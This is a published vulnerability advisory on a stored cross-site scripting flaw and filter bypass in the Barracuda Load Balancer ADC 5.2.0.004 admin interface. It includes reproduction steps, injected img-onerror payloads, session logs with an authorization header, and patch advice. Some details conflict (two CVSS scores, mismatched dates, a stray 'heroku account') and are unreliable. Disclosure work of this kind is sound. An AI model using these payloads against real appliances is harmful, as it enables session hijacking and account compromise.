Barracuda ADC 5.x - Filter Bypass & Persistent Vulnerability

Document Title:
===============
Barracuda ADC 5.x - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1423


Release Date:
=============
2018-07-08


Vulnerability Laboratory ID (VL-ID):
====================================
1423


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Ensure Application Scalability,Performance, and Security. The Barracuda Load Balancer ADC is ideal for organizations looking for 
a high-performance, yet cost-effective application delivery and security solution. With the broadest range of hardware and virtual 
models, the Barracuda Load Balancer ADC provides maximum flexibility for organizations looking to build highly secure and scalable 
application infrastructure, whether it’s deployed on-premises or in the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/loadbalancer )


Abstract Advisory Information:
==============================
The vulnerability laboratory research team discovered a persistent input validation web vulnerability in the Barracuda Networks ADC v5.2.0.004 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-07-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Barracuda networks ADC appliance web-application.
The application-side vulnerability allows remote attackers and privileged user accounts to inject malicious script codes to compromise 
the online service web-application.

The application-side input validation web vulnerability is located in the servername value of the Services - Konfigurierte Server 
[Content Rules Add] module. Local low privileged application user account can inject malicious script code with persistent attack vector 
to the vulnerable to module. The injection point of the issue is the vulnerable add module and the execution of the malicious code occurs 
by the restapi (api) in the Konfigurierte Server (Item Listing) module. 

The input form of the appliance web-application are filtered. If an attacker injects for example script tags with an alert message to see 
the cookie the execution is prevented. If the attacker uses an iframes, embed scripts and img-src tags he will be able to bypass the filter 
to execute own codes.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) 
count of 3.8. Exploitation of the persistent vulnerability in the `Services - Konfigurierte Server [Content Rules Add]` module requires a low 
privileged heroku account with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent 
phishing attacks, persistent redirect to external source and persistent manipulation of affected or connected module context.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Services - Konfigurierte Server [Content Rules Add]

Vulnerable Parameter(s):
[+] Servername

Affected Module(s):
[+] Konfigurierte Server (Item Listing) - [API] (restapi)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the barracuda adc web-application
2. Open the content rules add modules in the left sidebar
3. Inject own script code payload to the server name value and save the input (content rules)
Note: A refresh returns back to the listing module
4. The persistent script code execution occurs in listed confirgured server information next to the edit button (onlclick)
5. Successful reproduce of the stored cross site scripting security vulnerability!


Vulnerable Module(s): Services >  Konfigurierte Server > [Servername]
Request Method(s): POST


PoC: Link
http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest


PoC: Source
<a href="#" data-modal="" data-modal-url="/cgi-mod/index.cgi?
password=9f1133ed1cee2ea778e8198db3d125e0&et=1422208951&auth_type=Local&locale=de_DE&primary_tab=BASIC&scope=rg_web_server&secondary_tab=r
g_server_detail&user=guest" data-url-param="&scope_data=Corp_Web:192.168.1.4_80&service_name=undefined&server_name=Server_192.168.1.4_80 ">&#64976;<img 
src="x" onerror="alert(/PTEST/)</script">&rule_name=Corp_Web&server_index=0&traffic=0" data-modal-title="Edit Server" data-modal-submit-type="PUT" 
data-modal-submit-uri="rule_group_servers" data-modal-submit-ids="Content_Routing,undefined,Corp_Web,Server_192.168.1.4_80 "><img src="x" onerror="alert
(/PTEST/)</script">" data-m&#65007;odal-save-label="Änderungen speichern" data-modal-cancel-label="Abbrechen"  data-modal-onclick="return false;">Bearbeiten</a>


--- PoC Session Logs [POST] ---
Status: 201[Created]
POST http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules 
Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/plain, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Authorization[Basic ZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]
      Content-Type[application/json;charset=utf-8]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]
      Content-Length[1182]
      Cookie[_ga=GA1.2.608616028.1422207688; _gat=1; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   POST-Daten:
      {"modalAction":"create_rule","group":"Content_Routing","service_name":"Corp_Web","cache":
{"max_objsize":"256","req_cachehdrs_ignore":"0","negative_responses":"0","expiry_age":"60","file_extensions":"gif,tif,jpg,jpeg,png,bmp,ico,js,jsp,css,jar,swf,pdf"
,"resp_cachehdrs_ignore":"0","enabled":"0","min_objsize":"256"},"extended_match_sequence":"1000","persistence_cookie_domain":"","status":"1","header_name":"","sou
rce_ip_netmask":"","comments":""><img src[http://www.evil.source.com onerror=alert(/PTEST/)</script>","host_match":""><img src=http://www.evil.source.com 
onerror=alert(/PTEST/)</script>","extended_match":"*"><img src=x onerror=alert(/PTEST/)</script> undefined (HTTP-Version eq "><img src=http://www.evolution-
sec.com onerror=alert(/PTEST/)</script>)","compress":{"min_obj_size":"8192","enabled":"0","content_types":"text/html,text/plain"},"url_match":""><img src=x 
onerror=alert(/PTEST/)</script>","persistence_time":"600","failover_method":"LB","persistence_method":"NONE","lb_algorithm":"weighted_round_robin",
"persistence_cookie_name":"persistence","parameter_name":"","persistence_cookie_security":"0","name":""><img src=x onerror=alert(/PTEST/)</script>",
"persistence_cookie_path":"","persistence_cookie_httponly":"1","cookie_age":""}]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
-
Status: 200[OK]
GET http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/%22%3E%3Cimg%20src=http://www.evil.source.com%20onerror=alert(/PTEST/)%3C/script%3E 
Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/plain, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Authorization[BasicZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]
      If-Modified-Since[0]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]
      Cookie[_ga=GA1.2.608616028.1422207688; _gat=1; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]    
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse and encode of the vulnerable content rules input field values.
Restrict the input and disallow special chars. Filter and parse the item listing in the configured server module to prevent an execution. 
Implement a own exception-handling to prevent application-side script code executions.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance 
web-application is estimated as medium (CVSS 3.8).

Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4.
The disclosure process took about 1 year to complete by recognizing the patch cycle.


Credits & Authors:
==================
Benjamin K.M. - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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